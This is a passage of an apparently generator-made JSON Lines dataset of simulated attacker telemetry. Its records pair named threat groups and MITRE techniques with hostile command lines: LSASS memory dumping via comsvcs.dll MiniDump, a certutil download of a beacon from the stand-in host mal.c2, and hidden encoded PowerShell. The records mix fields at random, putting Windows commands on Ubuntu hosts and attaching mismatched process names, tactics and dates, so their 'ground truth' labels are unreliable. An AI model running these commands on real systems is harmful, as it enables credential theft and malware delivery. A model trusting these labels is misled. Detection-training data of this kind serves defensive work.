aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-28T11:44:57.000Z","user":{"name":"azuread\\chzyhdwkpdbn","sid":"S-1-5-21-212697814-577902709-9374"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Command and Control"],"technique_id":"T1531"},"event_id":"evt_apt29_20250713T111943000Z_0004143","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.74.57.237","name":"DB-ORACLE-09QEFQBG4H","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4143APT29T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.87.231.173","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 873 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-08-30T15:47:54.000Z","user":{"name":"azuread\\v117cuvvn4cf","sid":"S-1-5-21-756332789-326217975-2629"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection","Command and Control"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250110T201616000Z_0004145","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.203.185.96","name":"EC2-INST-09UCO80JHX","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4145Scattered SpiderT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.157.160.24","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 743 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-06-05T15:21:27.000Z","user":{"name":"CORP\\2fd7m5dhym55","sid":"S-1-5-21-463775112-601019096-3008"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20250710T075900000Z_0004147","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.247.253.103","name":"WIN-FIN-SRV-X7R8KA3Z62","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4147Volt TyphoonT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.148.175.201","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-30T13:15:58.000Z","user":{"name":"svc_cltkx22j8yo7","sid":"S-1-5-21-620280930-949127272-4257"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery","Command and Control","Initial Access"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20261022T005138000Z_0004149","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.42.195.140","name":"DB-ORACLE-UOI383DANJ","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4149Mustang PandaT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.188.180.193","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3829 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-04-07T15:33:53.000Z","user":{"name":"arn:aws:iam::lkyxr4roncku","sid":"S-1-5-21-523581903-234528367-3512"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Impact","Persistence","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260630T204129000Z_0004151","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.9.238.59","name":"EC2-INST-5XC2RS421S","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4151FIN7T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.63.152.78","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-30T17:15:13.000Z","user":{"name":"azuread\\ez8lw7nt3ij7","sid":"S-1-5-21-925512065-875819374-5459"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Defense Evasion","Credential Access","Discovery"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250804T105549000Z_0004153","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.193.25.125","name":"APP-WEB-2U9NPDSYGM","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4153Lapsus$T1566.001"},"network":{"domain":"github.com","dst_ip":"1.106.36.192","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-09T16:14:32.000Z","user":{"name":"arn:aws:iam::ucblcyikxm15","sid":"S-1-5-21-785120446-544016403-2206"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20260827T214844000Z_0004155","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.210.250.162","name":"DB-ORACLE-NEN8L05LKW","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4155FIN7T1003.001"},"network":{"domain":"github.com","dst_ip":"1.121.17.57","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3626 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-19T01:00:08.000Z","user":{"name":"arn:aws:iam::zwqa2v8oc3hx","sid":"S-1-5-21-269881364-170100882-9610"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250504T070308000Z_0004157","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.3.48.232","name":"WIN-FIN-SRV-5AMBJRPKYX","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4157APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.181.178.108","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-08-17T00:13:44.000Z","user":{"name":"azuread\\6s87n3791er0","sid":"S-1-5-21-347396471-810566293-1523"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Collection"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20260528T085733000Z_0004159","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.117.219.77","name":"APP-WEB-7H7GY1OGC7","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4159Lapsus$T1021.006"},"network":{"domain":"github.com","dst_ip":"1.163.218.243","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-12T18:51:37.000Z","user":{"name":"arn:aws:iam::z6tbkhgi5ny3","sid":"S-1-5-21-906477489-307495476-2916"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Defense Evasion"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20250416T174510000Z_0004161","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.177.13.178","name":"EC2-INST-FP44F626EN","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4161APT41T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.71.120.89","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2002 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-09T01:18:29.000Z","user":{"name":"i-beba0ek9ttw0","sid":"S-1-5-21-520521986-836126384-7014"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery","Impact","Collection"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250902T165453000Z_0004163","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.130.242.209","name":"EC2-INST-KWB0YXDZGK","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4163Volt TyphoonT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.160.107.134","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-20T18:09:01.000Z","user":{"name":"azuread\\kg5fomtln8lg","sid":"S-1-5-21-644541821-140790955-2035"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Impact"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20260521T185524000Z_0004165","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.234.164.94","name":"EC2-INST-S8CUYLTSIQ","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4165UNC4841T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.78.88.50","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-26T03:49:17.000Z","user":{"name":"i-5jlalhltepvr","sid":"S-1-5-21-839696747-990525814-7516"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control","Privilege Escalation","Collection"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20251204T175125000Z_0004167","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.149.220.20","name":"DB-ORACLE-T8AERR6BDO","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4167Scattered SpiderT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.150.220.121","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 594 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-07-27T05:53:06.000Z","user":{"name":"svc_frcbtknyknl8","sid":"S-1-5-21-509811889-300695095-1167"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Discovery","Reconnaissance","Execution"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20251016T150246000Z_0004169","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.46.39.30","name":"EC2-INST-Q246LAA71Q","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4169Lapsus$T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.89.182.152","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1534 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-22T02:33:51.000Z","user":{"name":"i-sf6kvmzigkut","sid":"S-1-5-21-546432929-777994888-4229"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection","Execution"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20250814T125322000Z_0004171","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.189.29.107","name":"IAM-ROLE-VRISAILZKG","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4171Mustang PandaT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.183.187.66","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-08-06T23:07:00.000Z","user":{"name":"arn:aws:iam::exkdqrojyyy7","sid":"S-1-5-21-118270998-251297983-9810"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20251130T055414000Z_0004173","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.152.167.95","name":"EC2-INST-DF2O3TJM1F","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4173APT41T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.116.0.67","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2316 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-03-23T23:06:29.000Z","user":{"name":"CORP\\17r95lze0jwj","sid":"S-1-5-21-344067933-535672021-8604"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Exfiltration","Discovery"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20250622T183830000Z_0004175","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.159.101.67","name":"APP-WEB-EE3F5EZ37H","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4175Volt TyphoonT1531"},"network":{"domain":"github.com","dst_ip":"1.181.20.216","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-21T22:23:16.000Z","user":{"name":"i-myde614mouzc","sid":"S-1-5-21-673684841-293240853-9001"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Execution","Privilege Escalation"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20250705T234606000Z_0004177","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.197.48.233","name":"AZURE-VM-AJNYHA7X64","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4177FIN7T1003.001"},"network":{"domain":"github.com","dst_ip":"1.89.248.132","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-06-25T00:10:30.000Z","user":{"name":"i-b04g3edou459","sid":"S-1-5-21-308855261-535909404-2639"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Privilege Escalation","Lateral Movement","Execution"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20250912T171018000Z_0004179","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.201.22.194","name":"APP-WEB-TNFT0OX1C7","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4179APT29T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.143.133.169","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-16T10:56:15.000Z","user":{"name":"i-bn0m1rpndnjb","sid":"S-1-5-21-734394141-962643737-2086"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Initial Access"],"technique_id":"T1570"},"event_id":"evt_apt41_20260328T124646000Z_0004181","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.80.244.98","name":"AZURE-VM-1XZ6XIJOX2","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4181APT41T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.44.230.151","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-11-26T01:03:12.000Z","user":{"name":"azuread\\2iwq4oadhi1u","sid":"S-1-5-21-512181690-601664905-2350"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Exfiltration","Impact"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250828T121620000Z_0004183","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.19.112.94","name":"IAM-ROLE-ET3H7FTUXJ","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4183Mustang PandaT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.3.31.140","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1768 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-12-19T23:01:06.000Z","user":{"name":"i-5hkdp511oxyt","sid":"S-1-5-21-715805329-383353009-9500"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20250206T193542000Z_0004185","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.33.12.186","name":"DB-ORACLE-Z5F1GPZP6T","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4185APT29T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.141.251.233","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2004 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-08-14T21:01:19.000Z","user":{"name":"i-7mchmr8ibcoc","sid":"S-1-5-21-602666787-183751652-1948"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20250104T085523000Z_0004187","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.20.85.1","name":"EC2-INST-QO9P38J8TB","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4187Lapsus$T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.20.165.2","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-29T14:42:50.000Z","user":{"name":"svc_4m3uwriugzj8","sid":"S-1-5-21-120872942-642897793-6619"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance","Initial Access","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20260107T204018000Z_0004189","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.74.57.123","name":"DB-ORACLE-2QYTME73W3","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4189Volt TyphoonT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.1.243.132","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 761 